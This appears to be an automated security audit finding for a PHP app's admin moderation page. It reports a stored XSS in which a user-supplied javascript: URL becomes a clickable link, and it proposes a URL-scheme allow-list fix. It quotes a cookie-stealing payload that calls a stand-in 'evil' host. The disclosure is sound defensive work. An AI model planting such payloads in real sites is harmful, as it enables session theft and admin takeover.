Area: Admin deep-dive (trust/safety) (audit p15a) · Surface: GET /admin/moderation/{id} (AdminModerationController@show → templates/admin/moderation/show.php) · Dimension: security · Severity: critical
Any registered user can file a report (POST /report) with source_url set to a `javascript:` (or `data:`) URI. When a moderator or admin opens that report at /admin/moderation/{id} and clicks the 'View reported content' link, the attacker's script executes in the admin's authenticated admin.* session. This is a privilege-escalation XSS (registered user → moderator/admin): the payload can read the in-DOM CSRF token and drive any state-changing admin POST (ban users, mint API keys, register SSRF-adjacent webhooks, change roles), or exfiltrate the session. OWASP A03:2021 Injection (XSS) and A01 Broken Access Control. The admin context makes this high impact even though it requires one click.
Evidence
templates/admin/moderation/show.php:172 renders the reporter-supplied source_url straight into a link target:
<a href="<?= $e($report['source_url']) ?>" class="link" target="_blank" rel="noopener">
<i class="fa-solid fa-arrow-up-right-from-square"></i> View reported content
</a>
$e() is htmlspecialchars(ENT_QUOTES) (BaseController.php:57) — it escapes quotes/angle brackets but does NOT validate the URL scheme. source_url is taken verbatim from $_POST with no scheme check at report-creation time: ReportController.php:38 `$sourceUrl = trim($_POST['source_url'] ?? '');` and ReportController.php:246 inserts it into the reports table ('source_url' => $sourceUrl ?: null) with no http(s):// allow-list. The value `javascript:fetch('//evil/?c='+document.cookie)` survives htmlspecialchars unchanged because it contains no escapable characters.
Suggested fix. Validate the URL scheme before rendering as an href. In the template (and ideally at write time in ReportController) reject/strip anything that is not a relative path or http(s):// — e.g. only emit the <a href> when preg_match('#^(https?:)?//#i', $url) or the value starts with '/'; otherwise render source_url as plain escaped text. Add a SsrfGuard/UrlValidator-style scheme allow-list at report creation so javascript:/data: never reach the DB.
Filed by the automated tenant-app audit and adversarially evidence-verified. Status: verified. Open — not yet actioned.
Patrick Bass
@mobieus